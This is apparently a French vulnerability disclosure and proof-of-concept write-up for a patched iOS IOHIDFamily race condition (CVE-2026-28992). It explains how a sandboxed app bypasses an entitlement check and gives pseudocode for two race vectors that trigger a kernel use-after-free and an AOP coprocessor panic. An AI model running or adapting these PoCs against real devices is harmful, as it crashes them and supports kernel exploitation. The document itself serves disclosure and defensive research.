
UAF et panic du coprocesseur AOP dans IOHIDEventServiceFastPathUserClient. Aucun entitlement requis, accessible depuis la sandbox d'une application.
CVE-2026-28992 | Auteur : Johnny Franks (@0xjohnny)
Composant : IOHIDFamily
Impact : Un attaquant pourrait provoquer une terminaison inattendue d'une app
Description : Une vulnérabilité de corruption mémoire a été corrigée par un verrouillage amélioré.
Les deux PoC provoquent un kernel panic et redémarrent les appareils concernés. Sauvegardez votre travail avant.
Deux conditions de course dans IOHIDEventServiceFastPathUserClient (kext IOHIDFamily). Aucune entitlement requise. Atteignable depuis le sandbox d'app normal.
Les deux vecteurs utilisent IOServiceOpen(service, task, 2, &conn). Le contrôle d'ouverture sel0 vérifie FastPathHasEntitlement et FastPathMotionEventEntitlement dans l'OSDictionary fourni par l'appelant au lieu des flags d'entitlement stockés lors de initWithTask ; une app sandboxée passe le contrôle en incluant ces clés dans la structure d'entrée.
// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}
// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}
// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
uint64_t args[2] = { 0, 1 };
IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}
Le chemin de fermeture (sel1) libère l'état du provider et efface +0x109 sans verrou. copyEvent (sel2) vérifie un flag différent (+0x108) sous un verrou par connexion, puis appelle le provider. Plusieurs connexions vers le même provider signifient que la fermeture et copyEvent opèrent dans des domaines de verrouillage différents sur des objets partagés côté provider.
// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// opener threads: continuous close → reopen
while (!stop) {
IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
// create + gate 16 probe connections
io_connect_t probes[16];
for (int i = 0; i < 16; i++) {
IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// destroy all probes — each fires async didTerminate → teardown
// teardown removes/frees provider-facing state while opener threads iterate
// provider-facing state via the open path
for (int i = 0; i < 16; i++)
mach_port_destroy(mach_task_self(), probes[i]);
usleep(80000); // 80ms race window
}
mach_port_destroy déclenche un didTerminate asynchrone → fermeture/teardown, non synchronisé avec les chemins d'ouverture sel0 concurrents sur d'autres connexions. Cela sature également la mailbox des providers adossés au SPU, déclenchant un timeout du watchdog AOP.
| Chemin | Description |
|---|---|
UAFPoc/ | App iOS — déclenche l'UAF (MTE tag fault sur A17+, data abort sur pré-A17) |
AOPPanicPoc/ | App iOS — déclenche le panic du coprocesseur AOP via saturation de la mailbox SPU |
panic-logs/mte-tag-fault.ips | Kernel tag check fault — iPhone 17 Pro Max (A19 Pro, MTE+PAC) |
panic-logs/ipad-data-abort.ips | Kernel data abort — iPad Pro 12,9" 2e gén (A10X, sans MTE/PAC) |
panic-logs/aop-panic.ips | Panic du coprocesseur AOP — iPhone 17 Pro Max (débordement de mailbox SPU) |